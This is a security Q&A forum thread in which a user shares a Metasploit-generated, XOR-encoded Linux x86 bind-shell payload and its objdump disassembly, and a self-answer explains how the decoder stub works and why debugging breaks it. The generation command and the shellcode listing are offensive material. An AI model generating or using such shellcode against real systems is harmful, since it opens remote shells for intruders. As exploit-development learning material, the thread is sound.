So I just used metasploit to generate the payload/linux/x86/shell_bind_tcp payload without null bytes (generate -t raw -b '\x00' -f shellcode). Here's the shellcode:

$ xxd -p shellcode

And here's what objdump thinks the shellcode is:

$ objdump -D -b binary -m i386 shellcode

shellcode:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   db dd                   fcmovnu st,st(5)
   2:   d9 74 24 f4             fnstenv [esp-0xc]
   6:   5e                      pop    esi
   7:   33 c9                   xor    ecx,ecx
   9:   bf 0e 0f 58 44          mov    edi,0x44580f0e
   e:   b1 14                   mov    cl,0x14
  10:   31 7e 19                xor    DWORD PTR [esi+0x19],edi
  13:   83 c6 04                add    esi,0x4
  16:   03 7e 15                add    edi,DWORD PTR [esi+0x15]
  19:   ec                      in     al,dx
  1a:   fa                      cli    
  1b:   69 9f 07 e7 d9 5c b4    imul   ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4
  22:   82 df eb 
  25:   db e3                   fninit 
  27:   86 26                   xchg   BYTE PTR [esi],ah
  29:   9b                      fwait
  2a:   5f                      pop    edi
  2b:   19 eb                   sbb    ebx,ebp
  2d:   f3 5d                   repz pop ebp
  2f:   a5                      movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
  30:   1a 5f 08                sbb    bl,BYTE PTR [edi+0x8]
  33:   b5 4d                   mov    ch,0x4d
  35:   0f 45 54 07 c9          cmovne edx,DWORD PTR [edi+eax*1-0x37]
  3a:   0d 5a 58 9c ef          or     eax,0xef9c585a
  3f:   60                      pusha  
  40:   ea 9a 5f 0e c1 22 dc    jmp    0xdc22:0xc10e5f9a
  47:   7f bf                   jg     0x8
  49:   ef                      out    dx,eax
  4a:   63 ec                   arpl   sp,bp
  4c:   19 85 5c 4b 57 d9       sbb    DWORD PTR [ebp-0x26a8b4a4],eax
  52:   ea 12 9f b1 c3 cb 2c    jmp    0x2ccb:0xc3b19f12
  59:   29 74 3b b1             sub    DWORD PTR [ebx+edi*1-0x4f],esi
  5d:   c0 ea ca                shr    dl,0xca
  60:   d6                      (bad)  
  61:   42                      inc    edx
  62:   a0 45 f9 d2 4d          mov    al,ds:0x4dd2f945
  67:   9b                      fwait
  68:   7a                      .byte 0x7a

This link also gives a similar disassembly: http://www.onlinedisassembler.com/odaweb/x1SSxJ/0

I might be wrong, but this shellcode seems strange. First of all, it doesn't work, but that's not enough to show that it's wrong. The second issue is that objdump says (bad) near the bottom, which probably means the assembly is wrong. The final thing is that I have no clue what it's doing after reading the assembly. Generating the shellcode for this same payload with null bytes gives correct, readable assembly. I don't think removing null bytes can add this much complexity to the shellcode.

Did I do something wrong? If not, can someone explain how the shellcode works?

1 Answer 1


Alright, I've gotten some answers from asking in the IRC channel.

When you use -b, the shellcode is encoded to avoid the bytes specified. The decoder is attached to the beginning, and that code is actually readable and makes sense. This specific decoder apparently does something with XORing bytes in the shellcode, which explains why the shellcode looks like garbage when disassembled (they're not actually instructions). Also, stepping through the shellcode with GDB often will not work because GDB will replace the next instruction with 0xCC, or a breakpoint. This means the decoder will XOR the wrong bytes, causing the program to crash.

The shellcode is actually correct and I've gotten it to work for my exploit.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .